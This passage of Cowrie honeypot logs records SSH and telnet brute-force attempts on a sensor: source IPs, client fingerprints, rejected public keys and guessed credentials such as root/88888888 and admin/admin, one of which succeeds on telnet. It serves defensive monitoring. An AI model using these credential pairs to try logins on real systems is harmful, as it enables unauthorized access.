256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:47:31.458545Z","src_ip":"115.124.73.190","session":"5eef01b6a6c4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d1:9b:ab:13:0d:06:be:62:6e:33:b4:95:d8:9d:11:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZ/W3xy1aYgKcMJ4EPXz0p7LTLpSTvRs234CjMh0rS7iK+VXSII0eJX03W3Ipww1ljGtRzElfZfSqRqsDABm5nVIb4NQvWYb1fadhYVs8q7n2wH0mAogxPzzKCVfF4mBTAixSD1vJNYTfiEUEpsJXpmFsTy+ajQAh7E1iqJSYcRmOBgR1M9a1fT+q3RljjiomY2EWuIz2wjfiob5z8KqZNKC+dga/kPuQNEy52EWnNRkRnJGX0y310v/jp3l9j+h65nwHeejVJEv5WZYmWLooVh79jpidZ2CHs41g8euQfeUVByv09nzC8nmPwhLjygZEAVm3JgBA+x6UVV4rmquS5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d1:9b:ab:13:0d:06:be:62:6e:33:b4:95:d8:9d:11:72","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:47:32.670248Z","src_ip":"115.124.73.190","session":"5eef01b6a6c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d1:9b:ab:13:0d:06:be:62:6e:33:b4:95:d8:9d:11:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZ/W3xy1aYgKcMJ4EPXz0p7LTLpSTvRs234CjMh0rS7iK+VXSII0eJX03W3Ipww1ljGtRzElfZfSqRqsDABm5nVIb4NQvWYb1fadhYVs8q7n2wH0mAogxPzzKCVfF4mBTAixSD1vJNYTfiEUEpsJXpmFsTy+ajQAh7E1iqJSYcRmOBgR1M9a1fT+q3RljjiomY2EWuIz2wjfiob5z8KqZNKC+dga/kPuQNEy52EWnNRkRnJGX0y310v/jp3l9j+h65nwHeejVJEv5WZYmWLooVh79jpidZ2CHs41g8euQfeUVByv09nzC8nmPwhLjygZEAVm3JgBA+x6UVV4rmquS5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:47:32.674328Z","src_ip":"115.124.73.190","session":"5eef01b6a6c4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e7:fc:3e:09:7a:08:b4:b8:86:3e:6f:99:03:97:21:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDE85pTkYM50a+9RUo1CN/+6FHsJlgDt+9r0PYxLNKQsT5NTA2VUH+WKbH1X+aPNWZQ7XkqSVFGd9sLlPT4Y2XObPYWhUiMiOPdp4ixDIcUPxFvcoHERmUze/saXokCb+bbKIrqVaZLgNjboRpTxSfwy+MlKLjwc+nuQAsWDYwDyjROJ0sH2li9N3TJHqp78E1XsPWKDyQMpJ7Ue6QB/TfTqXPxSXgexI1ZwWgwnrHp9Jox1NID9Uz/Iw2WAvrBFrERGs8qqkaGSP7l3ymF+Ed6V6OYC49K2Oc/fFjF5usaQiSjU5QvlmMEv4xYnmblm4XSyQELdAAMQ14uDFswqBop","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e7:fc:3e:09:7a:08:b4:b8:86:3e:6f:99:03:97:21:d2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:47:32.922275Z","src_ip":"115.124.73.190","session":"5eef01b6a6c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e7:fc:3e:09:7a:08:b4:b8:86:3e:6f:99:03:97:21:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDE85pTkYM50a+9RUo1CN/+6FHsJlgDt+9r0PYxLNKQsT5NTA2VUH+WKbH1X+aPNWZQ7XkqSVFGd9sLlPT4Y2XObPYWhUiMiOPdp4ixDIcUPxFvcoHERmUze/saXokCb+bbKIrqVaZLgNjboRpTxSfwy+MlKLjwc+nuQAsWDYwDyjROJ0sH2li9N3TJHqp78E1XsPWKDyQMpJ7Ue6QB/TfTqXPxSXgexI1ZwWgwnrHp9Jox1NID9Uz/Iw2WAvrBFrERGs8qqkaGSP7l3ymF+Ed6V6OYC49K2Oc/fFjF5usaQiSjU5QvlmMEv4xYnmblm4XSyQELdAAMQ14uDFswqBop","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:47:32.926176Z","src_ip":"115.124.73.190","session":"5eef01b6a6c4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a7:bf:41:77:26:20:89:f0:03:42:fb:96:7a:08:d9:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/COB2yyPmo0XU8/NLpnMN1WPrWg7WSggaUdWt3mZayxzFTKfMYwFrj5Qd/YNcajHJAvreav4VGsT0iWOzlTI8plynNxsxFs1pVTykOtCqERyDAoTkvnDN8vfhMfNyvhihvrlO1RE7PiTg8A3in3lRBtSJOxNRQfGhchcsYv15RzPZKfjcINc4160IEHTkE9s//8wVB2SRwvdL8o21k8ZifUlCeGYhm+GiGrMtS6Nfo/5jR5bg+p4NF0p1n76KWZeuFe4LD8jS9wzgRnuh+B+VEb9s+VfOw/0u/1ZREOMcdFNVF30+jees1JFlgXbg1q0ILFA6AskjZt2MJIcFh/vr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a7:bf:41:77:26:20:89:f0:03:42:fb:96:7a:08:d9:2f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:47:33.176512Z","src_ip":"115.124.73.190","session":"5eef01b6a6c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a7:bf:41:77:26:20:89:f0:03:42:fb:96:7a:08:d9:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/COB2yyPmo0XU8/NLpnMN1WPrWg7WSggaUdWt3mZayxzFTKfMYwFrj5Qd/YNcajHJAvreav4VGsT0iWOzlTI8plynNxsxFs1pVTykOtCqERyDAoTkvnDN8vfhMfNyvhihvrlO1RE7PiTg8A3in3lRBtSJOxNRQfGhchcsYv15RzPZKfjcINc4160IEHTkE9s//8wVB2SRwvdL8o21k8ZifUlCeGYhm+GiGrMtS6Nfo/5jR5bg+p4NF0p1n76KWZeuFe4LD8jS9wzgRnuh+B+VEb9s+VfOw/0u/1ZREOMcdFNVF30+jees1JFlgXbg1q0ILFA6AskjZt2MJIcFh/vr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:47:33.179830Z","src_ip":"115.124.73.190","session":"5eef01b6a6c4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1b:20:3f:c8:6e:fa:5b:0f:bf:c4:0f:ab:65:b4:c4:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDX7Z4hgjwX5xSCgb7xvF1wKFJYZMwAVD84Huz1JcBBXarETrY+pL8oM7i6NzA30HMT2/SPf+YwBRvtNWN/XS4dnQlxko7IL3ZFGpF1eUkfB+EpMBxvb2LuYSrcU87oCAqizhtBN+gh8POzlEdCqP6kvhv//V871O2tCQPAUwDvvgkRuUrJnsjATBj9P0Xq11AWiv6JA+rxDgmBKOzjS5hX+0nMCN9AFJ2KAI7cEX+iSubDAsIf/Ny/uPyjDA3nrqP0Ef5YtEpdHn+29RMq8cHwYtjVwf1wno19G/GknPNO5thPfHZIz86CnzsyHoweL7d9gs4hX0Uw3pjKIuu4slW/vKzcjeW0vOOy8NFVcrcvjzjlp7ALy94XrBUdagBaVxJwmSb3dv80kL1LUSQl24hn1upzio6waX5FSNBcx9ZNqBieqMrLIOpG2/tl/i6kAEWuOL8sqwADb9PmqxR3yy/RLVm1BFQcGfbT2aV1UZiQlHY847Wo12UBh3G91dPexuj2jhG9fyxubF4vFGWsSZdZ8F65nEb6oOj6GVv2GHXIx7MhC3PhpY9ue80bfFGSyDbLR3YJcgvhFxEBxcxVYThofqjXiHLjmdiuuXX7ti5qrDLSXdX2AQkIQzUxHJajVIS5tU7L49mv4UjkWFjqcnSTN1Py01ZVEWPFCVNHN79jVw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1b:20:3f:c8:6e:fa:5b:0f:bf:c4:0f:ab:65:b4:c4:cd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:47:33.429497Z","src_ip":"115.124.73.190","session":"5eef01b6a6c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1b:20:3f:c8:6e:fa:5b:0f:bf:c4:0f:ab:65:b4:c4:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDX7Z4hgjwX5xSCgb7xvF1wKFJYZMwAVD84Huz1JcBBXarETrY+pL8oM7i6NzA30HMT2/SPf+YwBRvtNWN/XS4dnQlxko7IL3ZFGpF1eUkfB+EpMBxvb2LuYSrcU87oCAqizhtBN+gh8POzlEdCqP6kvhv//V871O2tCQPAUwDvvgkRuUrJnsjATBj9P0Xq11AWiv6JA+rxDgmBKOzjS5hX+0nMCN9AFJ2KAI7cEX+iSubDAsIf/Ny/uPyjDA3nrqP0Ef5YtEpdHn+29RMq8cHwYtjVwf1wno19G/GknPNO5thPfHZIz86CnzsyHoweL7d9gs4hX0Uw3pjKIuu4slW/vKzcjeW0vOOy8NFVcrcvjzjlp7ALy94XrBUdagBaVxJwmSb3dv80kL1LUSQl24hn1upzio6waX5FSNBcx9ZNqBieqMrLIOpG2/tl/i6kAEWuOL8sqwADb9PmqxR3yy/RLVm1BFQcGfbT2aV1UZiQlHY847Wo12UBh3G91dPexuj2jhG9fyxubF4vFGWsSZdZ8F65nEb6oOj6GVv2GHXIx7MhC3PhpY9ue80bfFGSyDbLR3YJcgvhFxEBxcxVYThofqjXiHLjmdiuuXX7ti5qrDLSXdX2AQkIQzUxHJajVIS5tU7L49mv4UjkWFjqcnSTN1Py01ZVEWPFCVNHN79jVw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:47:33.432817Z","src_ip":"115.124.73.190","session":"5eef01b6a6c4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d7:98:39:61:fc:36:9f:a5:45:ba:c8:71:de:86:56:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvheBa8Wm+5PH1baCz6zJ8R0Kw57UVZkfr2fHCYags0/Vuahpqw3l2QO2X+cG0kksSkyrxJKig3UZDQLM3YSIQtivnUvR8jg8sr3sq0QDceMwuMqFcHDe/EngUIuee+t5CUrm6ll5fs5ZNEvdtO60/Y4CjzEwY+EZWcHIaNMJzw8zmPpmxWD9qzU+L/QFzyTaAKCnEN/zQ0EiD+Pp5LqJJ0nivKB15CjqbI5YeMdu6NRPrPukXRVGaxUIc8cL0NYT4vNqBkWPUyumm0IOVO4TKWIXxVxZM/SK2R5Az4xHN0uDDwKAdqv2NEtb5jVnlZN9pivCJOoyCS2+kmuOqjm8Sw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d7:98:39:61:fc:36:9f:a5:45:ba:c8:71:de:86:56:2b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:47:33.680107Z","src_ip":"115.124.73.190","session":"5eef01b6a6c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d7:98:39:61:fc:36:9f:a5:45:ba:c8:71:de:86:56:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvheBa8Wm+5PH1baCz6zJ8R0Kw57UVZkfr2fHCYags0/Vuahpqw3l2QO2X+cG0kksSkyrxJKig3UZDQLM3YSIQtivnUvR8jg8sr3sq0QDceMwuMqFcHDe/EngUIuee+t5CUrm6ll5fs5ZNEvdtO60/Y4CjzEwY+EZWcHIaNMJzw8zmPpmxWD9qzU+L/QFzyTaAKCnEN/zQ0EiD+Pp5LqJJ0nivKB15CjqbI5YeMdu6NRPrPukXRVGaxUIc8cL0NYT4vNqBkWPUyumm0IOVO4TKWIXxVxZM/SK2R5Az4xHN0uDDwKAdqv2NEtb5jVnlZN9pivCJOoyCS2+kmuOqjm8Sw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:47:33.684840Z","src_ip":"115.124.73.190","session":"5eef01b6a6c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:47:33.718962Z","src_ip":"89.223.69.22","session":"c8d19167e66a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:47:33.933278Z","src_ip":"115.124.73.190","session":"5eef01b6a6c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.44.192.210","src_port":58158,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b864c70c47b","protocol":"ssh","message":"New connection: 78.44.192.210:58158 (10.17.0.5:22) [session: 8b864c70c47b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:48:01.252739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:48:01.258794Z","src_ip":"78.44.192.210","session":"8b864c70c47b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:48:01.374458Z","src_ip":"78.44.192.210","session":"8b864c70c47b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"88888888","message":"login attempt [root/88888888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:48:01.857284Z","src_ip":"78.44.192.210","session":"8b864c70c47b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:48:02.975890Z","src_ip":"78.44.192.210","session":"8b864c70c47b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.233.218.160","src_port":53630,"dst_ip":"10.17.0.5","dst_port":22,"session":"e97211585383","protocol":"ssh","message":"New connection: 45.233.218.160:53630 (10.17.0.5:22) [session: e97211585383]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:48:26.512099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:48:26.519484Z","src_ip":"45.233.218.160","session":"e97211585383","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:48:26.654532Z","src_ip":"45.233.218.160","session":"e97211585383","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crmadmin","password":"crmadmin123","message":"login attempt [crmadmin/crmadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:48:27.222107Z","src_ip":"45.233.218.160","session":"e97211585383","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:48:28.359040Z","src_ip":"45.233.218.160","session":"e97211585383","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.168.139.251","src_port":55258,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee509f92f8cd","protocol":"ssh","message":"New connection: 121.168.139.251:55258 (10.17.0.5:22) [session: ee509f92f8cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:48:39.290782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:48:39.295107Z","src_ip":"121.168.139.251","session":"ee509f92f8cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:48:39.498693Z","src_ip":"121.168.139.251","session":"ee509f92f8cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":40980,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b2a26130a2d","protocol":"ssh","message":"New connection: 185.236.22.41:40980 (10.17.0.5:22) [session: 3b2a26130a2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:48:39.753711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:48:39.758897Z","src_ip":"185.236.22.41","session":"3b2a26130a2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:48:39.870840Z","src_ip":"185.236.22.41","session":"3b2a26130a2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20071989","message":"login attempt [root/20071989] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:48:40.246763Z","src_ip":"185.236.22.41","session":"3b2a26130a2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"plex","password":"plex","message":"login attempt [plex/plex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:48:40.339752Z","src_ip":"121.168.139.251","session":"ee509f92f8cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:48:41.360185Z","src_ip":"185.236.22.41","session":"3b2a26130a2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:48:41.544822Z","src_ip":"121.168.139.251","session":"ee509f92f8cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.20","src_port":48346,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6bdf9939dbb","protocol":"telnet","message":"New connection: 176.65.139.20:48346 (159.203.135.109:23) [session: d6bdf9939dbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:48:42.198714Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:48:47.404405Z","src_ip":"176.65.139.20","session":"d6bdf9939dbb","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:48:47.455677Z","src_ip":"176.65.139.20","session":"d6bdf9939dbb","protocol":"telnet"}
